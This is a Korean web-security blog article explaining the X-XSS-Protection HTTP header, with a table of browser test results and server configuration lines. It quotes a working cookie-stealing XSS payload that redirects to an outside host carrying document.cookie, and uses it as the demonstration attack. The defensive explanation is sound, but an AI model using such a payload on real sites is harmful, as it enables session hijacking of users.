홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#X-XSS-Protection #HTTP 헤더 #시험페이지 #브라우저의 XSS 방어 #XSS #Cross-site Script #document.cookie #크로스사이트스크립트

X-XSS-Protection HTTP헤더: 외부 자바스크립트 실행 방어

X-XSS-Protection 헤더는 웹서버가 웹브라우저에게 HTML 삽입공격에 대한 방어를 전가시키는 것이다. "혹시나 내가 보내는 페이지에 공격자가 삽입한 자바스크립트가 있으면 네가 막아줬으면 좋겠어!"라는 뜻을 가진다. "X-XSS-Protection: 1"은 크로스사이트스크립트 공격만 차단하고 웹 페이지는 정상적으로 출력하라는 뜻이다. "X-XSS-Protection: 1; mode=block"은 크로스사이트스크립트를 탐지하면 웹 페이지를 사용자에게 아예 보여주지도 말라는 의미이다.

현재 이 페이지의 X-XSS-Protection 헤더 설정은 다음과 같습니다.
X-XSS-Procetion: 1

[당신의 웹 브라우저]
CCBot/2.0 (https://commoncrawl.org/faq/)

다음 링크를 눌렀을 때 이 페이지가 http://www.memozee.com/?cook=NormalCookie=Not-HttpOnly-Cookie 등과 같이 타 홈페이지로 이동하면 X-XSS-Protection 헤더가 설정되어 있지 않거나 웹브라우저가 이 헤더를 지원하지 않는 것이다.

X-XSS-Protection 헤더 선언에 따른 웹브라우저의 방어 시험

[XSS 공격 내용]
없음

X-XSS-Protection 헤더와 XSS 공격에 대한 각 웹브라우저 반응

공격자가 HTML삽입으로 입력한 자바스크립트 공격구문(크로스사이트스크립트, XSS)이 "<script> document.location = 'http://www.memozee.com/?cook='+document.cookie; </script>"일 경우의 상황별 주요 웹브라우저의 반응은 다음과 같았다.

  • X-XSS-Protection 헤더를 설정하지 않았을 때 XSS 공격에 대한 웹브라우저별 반응
    • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • X-XSS-Protection: 1 설정시의 XSS 공격에 대한 웹 브라우저별 반응
    • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • X-XSS-Protection: 1; mode=block 설정시의 XSS 공격에 대한 웹 브라우저별 반응
    • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 빈 페이지 출력
    • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 빈 페이지 출력
    • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동

Chrome defneds XSS
[ 구글 크롬의 XSS공격 방어 (X-XSS-Protection: 1 선언시) ]

구글크롬(Google Chrome) 브라우저는 X-XSS-Protection가 설정되지 않아도 공격자가 삽입한 자바스크립트 실행을 차단하였다. 즉, 크롬브라우저로 웹을 접속하면 모든 웹이 "X-XSS-Protection: 1" 헤더를 선언한 것과 동일한 효과를 볼 수 있다. "X-XSS-Protection: 1" 헤더를 전송시, 자바스크립트만 차단하고 웹 페이지는 정상적으로 표현하였다. "X-XSS-Protection: 1; mode=block" 헤더가 설정된 상태에서 자바스크립트를 삽입한 경우에는 아예 홈페이지 출력 자체를 거부하였다.

Safari defneds XSS
[ 사파리의 XSS공격 방어 (X-XSS-Protection: 1; mode=block 선언시) ]

사파리(Safari) 브라우저는 구글크롬과 동일한 결과를 보여주었다. X-XSS-Protection헤더 선언 여부에 상관없이 공격자가 삽입한 자바스크립트 실행을 차단하였다. "X-XSS-Protection: 1; mode=block" 헤더가 설정된 상태에서 자바스크립트를 삽입한 경우에는 - 구글크롬과 동일하게 - 아예 홈페이지 출력 자체를 거부하였다.

FireFox not defneds XSS
[ 파이어폭스의 XSS공격 미방어 (X-XSS-Protection: 1; mode=block 선언시) ]

파이어폭스(FireFox), MS 엣지(MS Edge), MS 인터넷익스플로러 11(MS Internet Expolorer 11) 브라우저는 X-XSS-Protection 헤더에 반응하지 않는 것으로 보인다. 이 헤더의 설정여부에 상관없이 공격자가 삽입한 자바스크립트를 모두 실행하였다.

서버별 X-XSS-Protection 헤더 설정방법

[Apache 웹서버]

Header set X-XSS-Protection “1; mode=block”

또는

Header always append X-XSS-Protection “1; mode=block”

아파치 웹서버의 설정파일(httpd.conf 또는 apache2.conf)에 위와 같이 추가하고 아파치 웹서버를 재기동한다.

[NginX 웹서버]

add_header X-Xss-Protection "1; mode=block" always;

NginX 웹서버의 설정파일에 위와 같이 추가하고 웹서버를 재기동한다.

[처음 작성한 날: 2016.11.19]    [마지막으로 고친 날: 2016.11.20] 


< 이전 글 : MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (2016.11.20)

> 다음 글 : 방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (2016.11.18)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 __
/ 소프트웨어 설계를 하는 두가지 방법이  \
| 있다. 하나는 빠진 게 없는지 쉽게  |
| 확인할 수 있게 최대한 단순하게 만드는  |
| 것이고, 또 한가지는 빠진 게 없는지  |
| 확인할 수 없게 최대한 복잡하게 만드는  |
| 것이다.  |
|  |
\ - C.A.R. Hoare, Quick Sort의 고안자  /
 --
   \
 ___###
   /oo\ |||
   \  / \|/
   /""\  I
()|    |(I)
   \  /  I
  /""""\ I
 |      |I
 |      |I
  \____/ I
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .